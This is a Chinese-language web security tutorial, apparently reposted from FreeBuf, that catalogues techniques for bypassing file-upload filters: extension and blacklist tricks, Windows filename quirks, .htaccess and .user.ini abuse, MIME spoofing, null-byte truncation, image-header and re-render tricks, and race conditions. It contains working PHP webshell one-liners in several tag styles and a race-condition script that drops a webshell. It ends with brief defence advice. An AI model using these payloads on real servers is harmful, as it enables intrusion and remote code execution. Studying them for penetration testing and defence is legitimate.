总结一些文件上传的绕过方法

admin 2025年6月12日14:26:08评论16 views字数 3175阅读10分35秒阅读模式

本地JS绕过

禁用JS或删除JS语句

将上传文件的后缀名从 .php 改为 .jpg,然后通过 Burp 抓包将 .jpg 改回 .php

黑名单绕过

尝试使用不在黑名单中的后缀名

相似后缀名绕过

语言
等价扩展名
php
phtml,php2,php3,php4,php5,phps
aspx
ashx,asmx,ascx
asp
asa,cer,cdx
jsp
jspx,jspf

大小写绕过

仅适用于windows由于匹配时区分大小写,而解析时不区分,所以可以绕过黑名单方法:抓包,改文件名,任意选择部分字符转换大小写例:test.php ----->test.Php

空格绕过

在文件名前面或者后面添加空格(主要是加在后面,因为一般过滤后缀名),此时过滤函数匹配不到,但是带有空格不影响解析

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。

“test.php” -----> “test.php ”

点绕过

与空格绕过类似,在文件后缀名后添加点,如 shell.php.

或者空格+点号绕过 如test.php . .

适用于windows系统Windows 系统下,文件后缀名最后一个点会被自动去除。Linux 系统下,文件后缀名最后一个点不会被自动去除。

::$DATA绕过

只适用于windows系统Windows系统在保存test.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串,保存的文件名为test.phptest.php -------> test.php::$data注:访问时文件名后不加::$data

双写绕过

当过滤方式是删除指定字符串时可以考虑双写绕过,将文件后缀名中的关键字重复写入,如 pphphp

程序中的str_ireplace函数会将黑名单中的后缀替换为空,但是只替换了一次,因此可以使用双写绕过此函数。

防御措施:使用递归循环过滤,不使用一次过滤

.htaccess文件绕过

htaccess 文件生效前提条件为:mod_rewrite 模块开启AllowOverride All

中间件得是Apache,不支持nginx

#文件内容:<FilesMatch "test.jpg">SetHandler application/x-httpd-php</FilesMatch>#意思是 .htaccess文件可以将test.jpg文件当作php文件解析执行。

.htaccess是一个纯文本文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置

.user.ini文件绕过

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。

能够利用.user.ini的条件:

1.服务器脚本语言为PHP2.服务器使用CGI/FastCGI模式3.上传目录下要有可执行的php文件

方法:

1.新建文件名为.user.ini的文件,并将内容写为:auto_prepend_file=test.txt

2.将.user.ini上传至服务器

3.新建一个文件名为test.txt的文件,并将内容写为webshell脚本

4.将test.txt上传至服务器

5.再访问上传目录下的readme.php,即可将test.txt内的内容脚本正常执行。

php.ini是php的一个全局配置文件,对整个web服务起作用而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,可以利用这个文件来构造后门和隐藏后门。

.htaccess的配置文件只能在Apache服务器中起作用.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)

白名单绕过

MIME验证绕过

由于MIME类型可以手动修改欺骗,在过滤时若检查MIME(Content-Type)类型,可以考虑将上传文件的 Content-Type 从 application/octet-stream 改为 image/png

常见MIME类型列表:常见 MIME 类型列表 - HTTP | MDN (mozilla.org)

%00截断

利用 %00 截断文件路径,如 shell.php%00.jpg

test.php ------> test.php%00.jpg

条件是php版本<5.3 ,php.ini配置文件中 magic_quotes_gpc 为 off

原理:系统在对文件名读取的时候,如果遇到0x00就会认为读取已经结束,从而忽略后面的内容

文件头检测绕过

在数据最前面添加图片的文件头以绕过检测

后端使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是图片的文件头

常见的图片文件头如下:

gif(GIF89a) : 47 49 46 38 39 61

jpg、jpeg : FF D8 FF

png : 89 50 4E 47 0D 0A

二次渲染绕过

上传文件后,网站会对图片进行二次处理(格式,尺寸要求等),然后生成一个新图片保存在服务器中。

因此我们可以将一个正常显示的图片上传到服务器,寻找图片被渲染之后与原始图片部分对比仍然相同的数据块部分,将webshell代码插在该部分,进行上传

方法:

  1. 准备图片马

  2. 将原图片上传,下载渲染后的图片进行对比 ,可以利用工具找相同处,在相同的地方覆盖字符串,插入一句话木马,或者恶意指令

其他绕过

条件竞争

在文件被删除前访问文件,利用时间差进行绕过

文件上传后,服务器会首先保存文件然后重命名,最后删除源文件。在文件删除之前,如果线程过大可能导致服务器处理数据变慢,因此在文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

方法:

先上传一个shell脚本test.php,内容为生成一个新的webshell脚本shell.php

test.php内容如下

<?phpfputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');?>

当test.php上传完成后,客户端立即访问test.php,这样就会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了webshell的上传

多文件上传

上传多个文件只检查第一份文件

第一份上传合法正常文件,第二份上传木马

php其他标签绕过

<?php @eval($_POST['cmd']); ?>            //正常写法<?=@eval($_POST['cmd']); ?>                //短标签,适合过滤php<% @eval($_POST['cmd']); %>                //asp风格<script language='php'>@eval($_POST['cmd']);</script>         //<script>风格,适合过滤<?

防护建议

文件扩展名白名单校验:只允许特定类型的文件上传。

文件内容校验:检查文件内容是否符合预期。

上传文件重命名:避免使用用户提供的文件名。

隐藏上传文件路径:防止直接访问上传文件

来源:【https://www.freebuf.com/articles/web/433766.html】

原文始发于微信公众号(船山信安):总结一些文件上传的绕过方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月12日14:26:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   总结一些文件上传的绕过方法https://cn-sec.com/archives/4156230.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息